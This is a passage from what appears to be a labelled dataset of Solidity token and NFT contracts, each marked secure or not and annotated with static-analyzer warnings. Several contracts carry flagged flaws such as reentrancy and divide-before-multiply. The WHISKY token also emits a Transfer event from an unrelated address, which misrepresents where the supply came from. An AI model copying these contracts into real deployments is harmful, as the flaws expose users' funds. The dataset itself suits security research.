0L200 0L127.684 82.4859L0 93.7853L0 0Z' fill='\",\n \"<path d='M200 21.4L0 0L100.466 160.714L200 21.4Z' fill='\",\n \"<path d='M43.7585 31.1205L200 0L142.467 111.788L0 144.643L43.7585 31.1205Z' fill='\",\n \"<path d='M100 0L127.009 70.3841L200 96.4286L127.009 122.473L100 192.857L72.9909 122.473L0 96.4286L72.9909 70.3841L100 0Z' fill='\",\n \"<path d='M159.489 7.83204C159.489 55.6026 123.786 94.3282 79.7447 94.3282C35.7029 94.3282 0 55.6026 0 7.83204C0 -39.9385 141.411 146.429 185.453 146.429C229.495 146.429 159.489 -39.9385 159.489 7.83204Z' fill='\"\n ];\n uint8[9] memory heights = [100, 90, 164, 152, 94, 160, 144, 192, 146];\n ShapeArt memory shape;\n shape.bgcolor = pluckNum(tokenId, \"BG_COLOR\", 18, 24);\n shape.numshapes = getNumShapes(tokenId);\n shape.animation = getAnimation(tokenId);\n shape.monochrome = getMonochrome(tokenId);\n shape.textured = getTextured(tokenId);\n shapeStruct memory attributes;\n attributes.yoffset = 0;\n attributes.width = 200;\n attributes.colortype = pluckNum(tokenId, toString(1391), 0, 9);\n string[7] memory parts;\n for (uint256 i = 0; i < shape.numshapes; i++) {\n attributes.shapeindex = getShape(tokenId, i);\n if (shape.monochrome == 0) {\n attributes.colortype = pluckNum(\n tokenId,\n toString(i * 1800),\n 0,\n 17\n );\n }\n if (shape.numshapes == 5) {\n attributes.yoffset = 53;\n }\n if (shape.numshapes == 6) {\n attributes.yoffset = 45;\n }\n if (shape.numshapes == 4) {\n attributes.yoffset = 62;\n }\n if (i > 0) {\n attributes.y += attributes.yoffset;\n }\n if (attributes.shapeindex == 2) {\n attributes.width = 164;\n }\n attributes.height = heights[attributes.shapeindex] / 2;\n attributes.x = pluckNum(tokenId, toString((i + 1) * 1111), 0, 63);\n parts[3] = string(\n abi.encodePacked(\n parts[3],\n \"<g>\",\n paths[attributes.shapeindex],\n shapecolors[attributes.colortype],\n \"' fill-opacity='0.\",\n toString(\n pluckNum(tokenId, toString((i + 1) * 1784), 68, 78)\n ),\n \"' transform='translate(\",\n toString(68 + attributes.x)\n )\n );\n parts[3] = string(\n abi.encodePacked(\n parts[3],\n \" \",\n toString(100 + attributes.y),\n \") rotate(\",\n toString(\n pluckNum(tokenId, toString((i + 1) * 1666), 0, 180)\n )\n )\n );\n parts[3] = string(\n abi.encodePacked(\n parts[3],\n \" \",\n toString(attributes.width / 2),\n \" \",\n toString(attributes.height),\n \")'/></g>\"\n )\n );\n }\n if (shape.textured > 0) {\n parts[4] = string(\n abi.encodePacked(\n \"<filter id='D' x='-50%' y='-50%' width='200%' height='200%'>\",\n \"<feTurbulence type='fractalNoise' baseFrequency='0.9' numoctaves='1' seed='0'/>\",\n \"<feComposite operator='in' in2='SourceGraphic' result='monoNoise'/>\",\n \" <feBlend in='SourceGraphic' in2='monoNoise' mode='multiply' /></filter>\"\n )\n );\n }\n if (shape.animation > 0) {\n string memory anims = \"\";\n if (shape.animation == 1) {\n anims = \"values='0;0;0.01;0.02;0.03;0.04;0.05;0.05;0.05;0.05;0.04;0.03;0.02;0.01;0;0'\";\n }\n if (shape.animation == 2) {\n anims = \"values='0;0;0.01 0.4;0.02 0.4;0.03 0.4;0.04 0.4;0.04 0.4;0.04 0.4;0.04 0.4;0.03 0.4;0.02 0.4;0.01 0.4;0;0'\";\n }\n parts[5] = string(\n abi.encodePacked(\n \"<filter xmlns='http://www.w3.org/2000/svg' id='C' x='-50%' y='-50%' width='200%' height='200%'>\",\n \"<feTurbulence type='turbulence' baseFrequency='0.02' numOctaves='3' result='noise' seed='0'>\",\n \"<animate attributeName='baseFrequency' dur='10s' \",\n anims,\n \" fill='freeze' repeatCount='indefinite'/></feTurbulence>\",\n \"<feDisplacementMap in2='noise' in='SourceGraphic' xChannelSelector='R' yChannelSelector='G' scale='80'></feDisplacementMap>\",\n \"</filter>\"\n )\n );\n }\n parts[0] = string(\n abi.encodePacked(\n \"<svg width='400' height='600' viewBox='0 0 400 600' fill='none' xmlns='http://www.w3.org/2000/svg'><rect width='400' height='600' fill='\",\n shapecolors[shape.bgcolor]\n )\n );\n parts[1] = string(\n abi.encodePacked(\n (shape.textured > 0) ? \"' filter='url(#D)\" : \"\",\n \"'/>\"\n )\n );\n if (shape.animation > 0 && shape.textured > 0)\n parts[2] = \"<g filter='url(#C) url(#D)'>\";\n else if (shape.animation > 0) parts[2] = \"<g filter='url(#C)'>\";\n else if (shape.textured > 0) parts[2] = \"<g filter='url(#D)'>\";\n else parts[2] = \"<g>\";\n parts[6] = \"</g></svg>\";\n return (\n shape,\n string(\n abi.encodePacked(\n parts[0],\n parts[1],\n parts[2],\n parts[3],\n parts[4],\n parts[5],\n parts[6]\n )\n )\n );\n }\n\n function toString(uint256 value) internal pure returns (string memory) {\n if (value == 0) {\n return \"0\";\n }\n uint256 temp = value;\n uint256 digits;\n while (temp != 0) {\n digits++;\n temp /= 10;\n }\n bytes memory buffer = new bytes(digits);\n while (value != 0) {\n digits -= 1;\n buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));\n value /= 10;\n }\n return string(buffer);\n }\n}",
"file_name": "solidity_code_2644.sol",
"secure": 0,
"size_bytes": 13838
} |
{
"code": "// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721Enumerable.sol\" as ERC721Enumerable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\nimport \"./ShapeArtGenerator.sol\" as ShapeArtGenerator;\nimport \"./Base64.sol\" as Base64;\n\ncontract ShapesArt is ERC721Enumerable, Ownable, ReentrancyGuard {\n uint256 public max_supply = 1000;\n\t// WARNING Optimization Issue (constable-states | ID: bd06ff2): ShapesArt.price should be constant \n\t// Recommendation for bd06ff2: Add the 'constant' attribute to state variables that never change.\n uint256 public price = 0.025 ether;\n uint256 public minted;\n\t// WARNING Optimization Issue (constable-states | ID: 4d2b1d6): ShapesArt.maxMint should be constant \n\t// Recommendation for 4d2b1d6: Add the 'constant' attribute to state variables that never change.\n uint256 public maxMint = 10;\n\n bool public sales_paused = false;\n constructor() ERC721(\"ShapesArt\", \"SHPS_ART\") Ownable() {}\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n require(tokenId > 0 && tokenId <= minted, \"Invalid token ID\");\n ShapeArtGenerator.ShapeArt memory shape;\n string memory svg;\n string[7] memory bgColorName = [\n \"Sweet Corn\",\n \"Cotton\",\n \"Irish Green\",\n \"Raven\",\n \"Grape Fruit\",\n \"Rich Electric Blue\",\n \"Dodger Blue\"\n ];\n string[3] memory numshape = [\"Four\", \"Five\", \"Six\"];\n string[3] memory animation = [\"Normal\", \"Splash Art\", \"Slash Art\"];\n (shape, svg) = ShapeArtGenerator.makeShapeFactory(tokenId);\n string memory attributes;\n attributes = string(\n abi.encodePacked(\n \"'attributes': [{'trait_type': 'Background Color','value': '\",\n bgColorName[shape.bgcolor - 18],\n \"'}, {'trait_type': 'Number of Shapes','value': '\",\n numshape[shape.numshapes - 4],\n \"'}, {'trait_type': 'Effect Name','value': '\",\n animation[shape.animation],\n \"'}, {'trait_type': 'Textured','value': '\",\n (shape.textured > 0) ? \"True\" : \"False\",\n \"'}], \"\n )\n );\n string memory output = Base64.encode(\n bytes(\n string(\n abi.encodePacked(\n \"{'name': 'Shapes Art #\",\n ShapeArtGenerator.toString(tokenId),\n \"', 'Description': 'Abstract art painting on-chain for you to decorate your wall in the metaverse universe.',\",\n attributes,\n \"'image': 'data:image/svg+xml;base64,\",\n Base64.encode(bytes(svg)),\n \"'}\"\n )\n )\n )\n );\n output = string(\n abi.encodePacked(\"data:application/json;base64,\", output)\n );\n return output;\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: a350cf5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for a350cf5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function mint(address add, uint256 numOftokens) public payable {\n require(!sales_paused, \"Sale is paused right now\");\n require(totalSupply() < max_supply, \"All tokens minted\");\n require(\n totalSupply() + numOftokens <= max_supply,\n \"Minting exceeds supply\"\n );\n require(\n numOftokens <= maxMint,\n \"Cannot purchase so many in a transaction\"\n );\n require(numOftokens > 0, \"Must mint at least one\");\n require(price * numOftokens == msg.value, \"ETH amount not correct\");\n for (uint32 i = 0; i < numOftokens; i++) {\n uint256 tokenId = minted + 1;\n\t\t\t// reentrancy-no-eth | ID: a350cf5\n _safeMint(add, tokenId);\n\t\t\t// reentrancy-no-eth | ID: a350cf5\n minted += 1;\n }\n }\n\n function toggleAllSalesPaused() public onlyOwner {\n sales_paused = !sales_paused;\n }\n\n function withdrawAll() public payable onlyOwner {\n require(payable(_msgSender()).send(address(this).balance));\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e45e38e): ShapesArt.setMaxSupply(uint256) should emit an event for max_supply = new_max_supply \n\t// Recommendation for e45e38e: Emit an event for critical parameter changes.\n function setMaxSupply(uint256 new_max_supply) public onlyOwner {\n\t\t// events-maths | ID: e45e38e\n max_supply = new_max_supply;\n }\n}",
"file_name": "solidity_code_2645.sol",
"secure": 0,
"size_bytes": 5115
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol\" as ERC20Pausable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract TEDDYBEAR is ERC20, ERC20Burnable, ERC20Pausable, Ownable {\n uint256 public immutable initialSupply = 100000000 * 10 ** decimals();\n\n constructor() ERC20(\"TEDDY BEAR\", \"TBC\") Ownable(msg.sender) {\n decimals();\n\n _mint(msg.sender, initialSupply);\n }\n\n function pause() public onlyOwner {\n _pause();\n }\n\n function unpause() public onlyOwner {\n _unpause();\n }\n\n function mint(address to, uint256 amount) public onlyOwner {\n _mint(to, amount);\n }\n\n function _update(\n address from,\n address to,\n uint256 value\n ) internal override(ERC20, ERC20Pausable) {\n super._update(from, to, value);\n }\n}",
"file_name": "solidity_code_2646.sol",
"secure": 1,
"size_bytes": 1105
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n struct MintBalance {\n uint8 minted;\n uint248 balance;\n }\n\n mapping(address => MintBalance) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 internal _totalSupply;\n\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account].balance;\n }\n\n function minted(address account) public view returns (uint256) {\n return _balances[account].minted;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender].balance;\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[sender].balance = uint248(senderBalance - amount);\n }\n _balances[recipient].balance += uint248(amount);\n\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n uint256 b = _balances[account].balance + amount;\n _balances[account].balance = uint248(b);\n _balances[account].minted = 1;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account].balance;\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account].balance = uint248(accountBalance - amount);\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_2647.sol",
"secure": 1,
"size_bytes": 5777
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"./EIP712.sol\" as EIP712;\nimport \"@openzeppelin/contracts/utils/cryptography/ECDSA.sol\" as ECDSA;\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: f41375a): OpenDAO.slitherConstructorConstantVariables() performs a multiplication on the result of a division AMOUNT_DAO = (MAX_SUPPLY / 100) * 20\n// Recommendation for f41375a: Consider ordering multiplication before division.\ncontract OpenDAO is ERC20, EIP712 {\n uint256 public constant MAX_SUPPLY = uint248(1e14 ether);\n\n\t// divide-before-multiply | ID: f41375a\n uint256 public constant AMOUNT_DAO = (MAX_SUPPLY / 100) * 20;\n address public constant ADDR_DAO =\n 0x06bB1467b38d726b3eb39eB2FBAE6021feAE935F;\n\n\t// divide-before-multiply | ID: 752ddce\n uint256 public constant AMOUNT_STAKING = (MAX_SUPPLY / 100) * 20;\n address public constant ADDR_STAKING =\n 0x7d28988391034A4C756f0c3E1A3E033175B04C77;\n\n\t// divide-before-multiply | ID: f37eaca\n uint256 public constant AMOUNT_LP = (MAX_SUPPLY / 100) * 10;\n address public constant ADDR_LP =\n 0x709CD2aAAe592930616720115b6a3Dbdf1407664;\n\n uint256 public constant AMOUNT_AIREDROP =\n MAX_SUPPLY - (AMOUNT_DAO + AMOUNT_STAKING + AMOUNT_LP);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 456337f): OpenDAO.constructor(string,string,address)._name shadows ERC20._name (state variable)\n\t// Recommendation for 456337f: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: dcdf9f9): OpenDAO.constructor(string,string,address)._symbol shadows ERC20._symbol (state variable)\n\t// Recommendation for dcdf9f9: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 6ab847a): OpenDAO.constructor(string,string,address)._signer lacks a zerocheck on \t cSigner = _signer\n\t// Recommendation for 6ab847a: Check that the address is not zero.\n constructor(\n string memory _name,\n string memory _symbol,\n address _signer\n ) ERC20(_name, _symbol) EIP712(\"OpenDAO\", \"1\") {\n _mint(ADDR_DAO, AMOUNT_DAO);\n _mint(ADDR_STAKING, AMOUNT_STAKING);\n _mint(ADDR_LP, AMOUNT_LP);\n _totalSupply = AMOUNT_DAO + AMOUNT_STAKING + AMOUNT_LP;\n\t\t// missing-zero-check | ID: 6ab847a\n cSigner = _signer;\n }\n\n bytes32 public constant MINT_CALL_HASH_TYPE =\n keccak256(\"mint(address receiver,uint256 amount)\");\n\n address public immutable cSigner;\n\n function claim(uint256 amountV, bytes32 r, bytes32 s) external {\n uint256 amount = uint248(amountV);\n uint8 v = uint8(amountV >> 248);\n uint256 total = _totalSupply + amount;\n require(total <= MAX_SUPPLY, \"OpenDAO: Exceed max supply\");\n require(minted(msg.sender) == 0, \"OpenDAO: Claimed\");\n bytes32 digest = keccak256(\n abi.encodePacked(\n \"\\x19Ethereum Signed Message:\\n32\",\n ECDSA.toTypedDataHash(\n _domainSeparatorV4(),\n keccak256(\n abi.encode(MINT_CALL_HASH_TYPE, msg.sender, amount)\n )\n )\n )\n );\n require(\n ecrecover(digest, v, r, s) == cSigner,\n \"OpenDAO: Invalid signer\"\n );\n _totalSupply = total;\n _mint(msg.sender, amount);\n }\n}",
"file_name": "solidity_code_2648.sol",
"secure": 0,
"size_bytes": 3618
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\n\ncontract FTB is ERC20, ERC20Burnable {\n constructor(\n string memory name_,\n string memory symbol_\n ) public ERC20(name_, symbol_) {\n _mint(_msgSender(), 270000000 * 10 ** 18);\n }\n}",
"file_name": "solidity_code_2649.sol",
"secure": 1,
"size_bytes": 440
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed ownerAddress,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address ownerAddress,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}",
"file_name": "solidity_code_265.sol",
"secure": 1,
"size_bytes": 847
} |
{
"code": "// SPDX-License-Identifier: UNLICENSED\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract WHISKY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n mapping(address => bool) private _isExcludedFromFee;\n mapping(address => bool) private bots;\n mapping(address => uint256) private cooldown;\n uint256 private constant MAX = ~uint256(0);\n uint256 private constant _tTotal = 1000000000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n uint256 private _feeAddr1;\n uint256 private _feeAddr2;\n uint256 private _sellTax;\n uint256 private _buyTax;\n\t// WARNING Optimization Issue (immutable-states | ID: e6477cc): WHISKY._feeAddrWallet1 should be immutable \n\t// Recommendation for e6477cc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _feeAddrWallet1;\n\t// WARNING Optimization Issue (immutable-states | ID: 5b7a5e5): WHISKY._feeAddrWallet2 should be immutable \n\t// Recommendation for 5b7a5e5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _feeAddrWallet2;\n\n string private constant _name = \"WHISKY\";\n string private constant _symbol = \"WHISKY\";\n uint8 private constant _decimals = 9;\n\n IUniswapV2Router02 private uniswapV2Router;\n address private uniswapV2Pair;\n bool private tradingOpen;\n bool private inSwap = false;\n bool private swapEnabled = false;\n bool private cooldownEnabled = false;\n uint256 private _maxTxAmount = _tTotal;\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n constructor() {\n _feeAddrWallet1 = payable(0xC6C62edA318809072E67F675858BC75CBDf07341);\n _feeAddrWallet2 = payable(0xC6C62edA318809072E67F675858BC75CBDf07341);\n _rOwned[_msgSender()] = _rTotal;\n _sellTax = 5;\n _buyTax = 5;\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n _isExcludedFromFee[_feeAddrWallet1] = true;\n _isExcludedFromFee[_feeAddrWallet2] = true;\n emit Transfer(\n address(0x81b9C4D5E27e96EC4212279d568affcc01609196),\n _msgSender(),\n _tTotal\n );\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromWHISKY(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 00dff9a): WHISKY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 00dff9a: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ddb7cc1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ddb7cc1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c0f09f4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c0f09f4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: ddb7cc1\n\t\t// reentrancy-benign | ID: c0f09f4\n _transfer(sender, recipient, amount);\n\t\t// reentrancy-events | ID: ddb7cc1\n\t\t// reentrancy-benign | ID: c0f09f4\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function setCooldownEnabled(bool onoff) external onlyOwner {\n cooldownEnabled = onoff;\n }\n\n function tokenFromWHISKY(uint256 rAmount) private view returns (uint256) {\n require(rAmount <= _rTotal, \"Amount must be less than total WHISKY\");\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a80ea69): WHISKY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a80ea69: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\t\t// reentrancy-benign | ID: c0f09f4\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: ddb7cc1\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 36e1064): WHISKY._transfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool)(cooldown[to] < block.timestamp)\n\t// Recommendation for 36e1064: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c71ea71): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c71ea71: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4ed2b30): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4ed2b30: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7686fa9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7686fa9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n _feeAddr1 = _buyTax;\n _feeAddr2 = _buyTax;\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to] &&\n cooldownEnabled\n ) {\n require(amount <= _maxTxAmount);\n\t\t\t\t// timestamp | ID: 36e1064\n require(cooldown[to] < block.timestamp);\n cooldown[to] = block.timestamp + (40 seconds);\n }\n\n if (\n to == uniswapV2Pair &&\n from != address(uniswapV2Router) &&\n !_isExcludedFromFee[from]\n ) {\n _feeAddr1 = _sellTax;\n _feeAddr2 = _sellTax;\n }\n uint256 contractTokenBalance = balanceOf(address(this));\n if (!inSwap && from != uniswapV2Pair && swapEnabled) {\n\t\t\t\t// reentrancy-events | ID: c71ea71\n\t\t\t\t// reentrancy-benign | ID: 4ed2b30\n\t\t\t\t// reentrancy-eth | ID: 7686fa9\n swapTokensForEth(contractTokenBalance);\n uint256 contractETHBalance = address(this).balance;\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c71ea71\n\t\t\t\t\t// reentrancy-eth | ID: 7686fa9\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n\t\t// reentrancy-events | ID: c71ea71\n\t\t// reentrancy-benign | ID: 4ed2b30\n\t\t// reentrancy-eth | ID: 7686fa9\n _tokenTransfer(from, to, amount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\t\t// reentrancy-events | ID: ddb7cc1\n\t\t// reentrancy-events | ID: c71ea71\n\t\t// reentrancy-benign | ID: 4ed2b30\n\t\t// reentrancy-benign | ID: c0f09f4\n\t\t// reentrancy-eth | ID: 7686fa9\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ddb7cc1\n\t\t// reentrancy-events | ID: c71ea71\n\t\t// reentrancy-eth | ID: 7686fa9\n _feeAddrWallet2.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 697df92): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 697df92: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 191fab9): WHISKY.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 191fab9: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: abdad37): WHISKY.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 